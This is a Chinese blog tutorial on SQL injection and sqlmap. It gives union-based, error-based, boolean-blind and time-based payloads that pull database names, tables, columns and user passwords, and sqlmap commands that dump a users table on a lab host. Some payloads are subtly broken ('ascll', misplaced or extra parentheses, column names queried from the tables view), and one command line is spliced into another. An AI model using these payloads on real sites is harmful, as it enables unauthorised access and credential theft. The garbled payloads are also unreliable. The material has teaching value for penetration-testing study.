SQL注入与Sqlmap工具
Posted 还是最初模样
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入与Sqlmap工具相关的知识,希望对你有一定的参考价值。
sql注入基础
sql注入的流程:浏览器查看id => 通过脚本引擎执行id=123的sql语句 => 再发送给数据库执行sql语句,然后把结果回显到浏览器给用户
SQL注入点判断:
URL: ?id = 35 ,当35加1或者减1时,页面发生了变化,这时候可以考虑联合查询。
URL: ?id = 35 猜测sql语句为:select * from TableName where id = 35
URL: ?id = 35' 判断 ?id 是字符型还是数字,出现<near ' ' ' at line 1 >的报错,考虑报错注入,猜测sql语句为:select * from TableName where id = 35' ,即35前面的sql语句正确,‘ 号是一个错误的符号,证明其是数字型,如果报错包含了35’ 那就是字符型。
?id=35 and 1=1
?id=35 and 1=2
select * from TableName where id=35 and 1=1 #id=35为条件判断,判断数据库里有没有一条记录id=35的,1=1恒真式,如果1=2恒假式。
布尔类型:当输入 and 1=1 和 and 1=2 时,网站页面不相同,认为页面有布尔类型状态,反之布尔状态不存在。
延时注入:
?id=35 and sleep(5) #通过开发者工具查看NETWORK板块去查询网站是否有5秒的延迟,
当网页存在联合查询,布尔盲注,报错注入,延时查询其中的一种注入类型时,我们认为这个页面有sql注入漏洞
联合查询:
就是SQL语法中的union select 语句,该语句会同时执行两条select语句(select ---- union select ----),生成两张虚拟表,然后把查询到的信息进行拼接。但是要成 功拼接要满足两个条件:
一、两张表具有相同的列数(因为列的第一个格为表名,后面为数据,数据可以用NULL进行补全,所以可以进行横向拼接,因为我们不能创建表名,所以不能进行纵向拼接)
1)判断第一个查询语句有多少列,?id=35 order by 1 (按照第一个字段进行排序,by 20 按照20个列进行排序,如果报错证明不存在20列,然后不断测试缩短范围获取最后 正确的列数)
2)当我们得到正确的列的个数时,可以用以下url进行获取列的数据,ag:5列,(?id=33 union select 1,2,3,4,5,6,7),或者(?id=33 union select null,null,null,null,null)#当order by 不可用时,可以用null语句进行判断列数。
注:当我们的两条查询语句都是正确的时候,数据库会默认输出第一条查询结果,第二条不会输出,只有当我们第一条错误时,才会输出第二条查询结果,所以我们要构造如下的查询语句来获取数据:
`
?id=33 and 1=2 union select 1,2,3,4,5,6,7#and1=2
?id=-33 union select 1,2,3,4,5,6,7 #id=-33
当网页有输出3和5的时候,我们可以用下面的语句对网站数据库的版本信息和名字进行查询:
?id=-33 union select 1,2,version(),4,database()
当我们得到数据库的库名之后,也可以通过以下语句对数据库的表名进行爆破查询:
?id=-33 union select 1,2,version(),4,database() from hello #查询数据库中是否存在hello表,报错则不存在
可以进行跨库跨表查询,information_schema是一个保存表名的数据库
?id=-33 union select 1,2,version(),4,table_name,6,7 from information_schema.tables where table_schema=database()
有可能会出现页面乱码,我们可以用(hex)16进制进行解决,把table_name 改为 hex(table_name),把页面的信息按照16进制输出,把得到的16进制用BP对其进行还原
方法:打开BP的Decoder模块,把16进制的值复制进去,再选择ASCLL hex模块进行解码,可以得到表名。
上面这种方法只能得到一个表名,这时候我们可以用group_concat对所有的表名进行查询,具体代码如下:
?id=-33 union select 1,2,version(),4,hex(group_concat(table_name)),6,7 from information_schema.tables where table_schema=database()
然后再用BP进行解码即可
得到表名之后,可以查询任意表的内容,包括用户表,column_name查询列的名字,来获取所有的表
?id=-33 union select 1,2,version(),4,hex(group_concat(column_name)),6,7 from information_schema.tables where table_schema=database() and table_name=0x+16进制的用户表名
得到用户名之后,可以查询密码
?id=-33 union select 1,2,version(),4,concat(table_name,0x3a,password)),6,7 from 表名
得到的是一个CMD5值,再进行破解即可
`
二、两张表对应的列的数据类型相同(数字可以转换为字符串)
报错注入:
口诀:
有回显 联合查询
有报错 报错注入
以上无 布尔盲注
最后 延时注入
1、group by #重复键冲突
mysql> create table r1 (a int); #创建一个表名为r1,列名为a,属于int类型的表
mysql> insert into r1 values (1),(2),(1),(2),(1),(2),(1),(2),(1),(2);#往表r1里添加数据
mysql> select * from r1;#查询表里我们输入的数据如下
+------+
| a |
+------+
| 1 |
| 2 |
| 1 |
| 2 |
| 1 |
| 2 |
| 1 |
| 2 |
| 1 |
| 2 |
+------+
mysql> select count(*) from r1; #查询表r1里有多少条数据
+----------+
| count(*) |
+----------+
| 10 |
+----------+
1 row in set (0.00 sec)
mysql> select count(*) from r1 group by a;
+----------+
| count(*) |
+----------+
| 5 |
| 5 |
+----------+
2 rows in set (0.00 sec)
?id=33 and (select 1 from (select count(*),concat((select version() from information_schema.table limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a)
2、XPATN #报错
?id=33 and extractvalue(1,concat('^',(select version()),'^'))#通过语法错误收集version信息
?id=33 and updatexml(1,concat('^',(select database()),'^'),1)
布尔盲注:
?id=33 and length(database()>3) #通过输入的数字查询数据库名字的大小
?id=33 and ascll(substr(database(),1,1))=99 #第一个1的意思是第一位元素,第二个1是按照一位一位的形式去判断,>100错误,=99正确,说明数据库的第一个字母为ascll的99即是c,
?id=33 and ascll(substr(database(),2,1))=109#>108对,>109错,那最后结果就是=109,ascll的109为m,得出第二个元素为m。以此类推,可以得到数据库的名字。
延时注入:
?id=33 and sleep(5) #判断对了,网页沉睡5s再访问,
?id=33 and if(length(database())<10,sleep(5),1) #如果数据库名的长度小于10,页面就沉睡5s。
Sqlmap用法:
-u "url" #检测注入点
--dbs #列出所有数据库的名字
--current-db#列出当前数据库的名字
-D #指定一个数据库D=Dabatase
--tables #列出表名
-T #指定表名T=Table
--columns #列出所有的字段名
-C #指定字段
--dump #列出所有字段的内容
root@kali:~/sqlmap# sqlmap -u "http://192.168.1.146/peruggia/index.php?action=comment&pic_id=1"
#无损扫描
root@kali:~/sqlmap# sqlmap -u "http://192.168.1.146/peruggia/index.php?action=comment&pic_id=1" --dbs
#列出所有数据库名字
root@kali:~/sqlmap# sqlmap -u "http://192.168.1.146/peruggia/index.php?action=comment&pic_id=1" --current-db
#查询当前数据库名称
root@kali:~/sqlmap# sqlmap -u "http://192.168.1.146/peruggia/index.php?action=comment&pic_id=1" -D "peruggia" --tables
#(-D)指定数据库为peruggia,查询他所有的表名
root@kali:~/sqlmap# sqlmap -u "http://192.168.1.146/peruggia/index.php?action=comment&pic_id=1" -T "users" --columns
#(-T)指定表名为users,查询他所有的字段信息
root@kali:~/sqlmap# sqlmap -u "http://192.168.1.146/peruggia/index.phroot@kali:~/sqlmap# sqlmap -u "http://192.168.1.146/peruggia/index.php?action=comment&pic_id=1" -D "peruggia" -T "users" -C "username,password" --dump
#指定路径输出user和password
若是一个POST的用户名密码提交表单,用sqlmap查询注入漏洞如下;
1、先用BP把用户名和密码的提交信息截取下来
2、把截取的表单信息放到新建的post.txt文本中
3、用代码root@kali:~/sqlmap# sqlmap -r post.txt
进行sql漏洞扫描,查询是否存在用户名密码的漏洞
1、以下参数可以在mysql/my.ini配置文件中[mysqld]下修改或者添加
secure file priv= #不对mysql的导入导出操作做限制
secure file priv=null #限制mysql,不允许进行导入导出操作
secure file priv=‘c:/a/' #限制mysql的导入导出操作发生在c:/a/下
2、查询当前用户的文件权限
查询语句:select File_priv from mysql.user where user="root" and host="localhost";
输出Y证明有文件的权限
3、知道要写入目标文件的绝对路径
以上是关于SQL注入与Sqlmap工具的主要内容,如果未能解决你的问题,请参考以下文章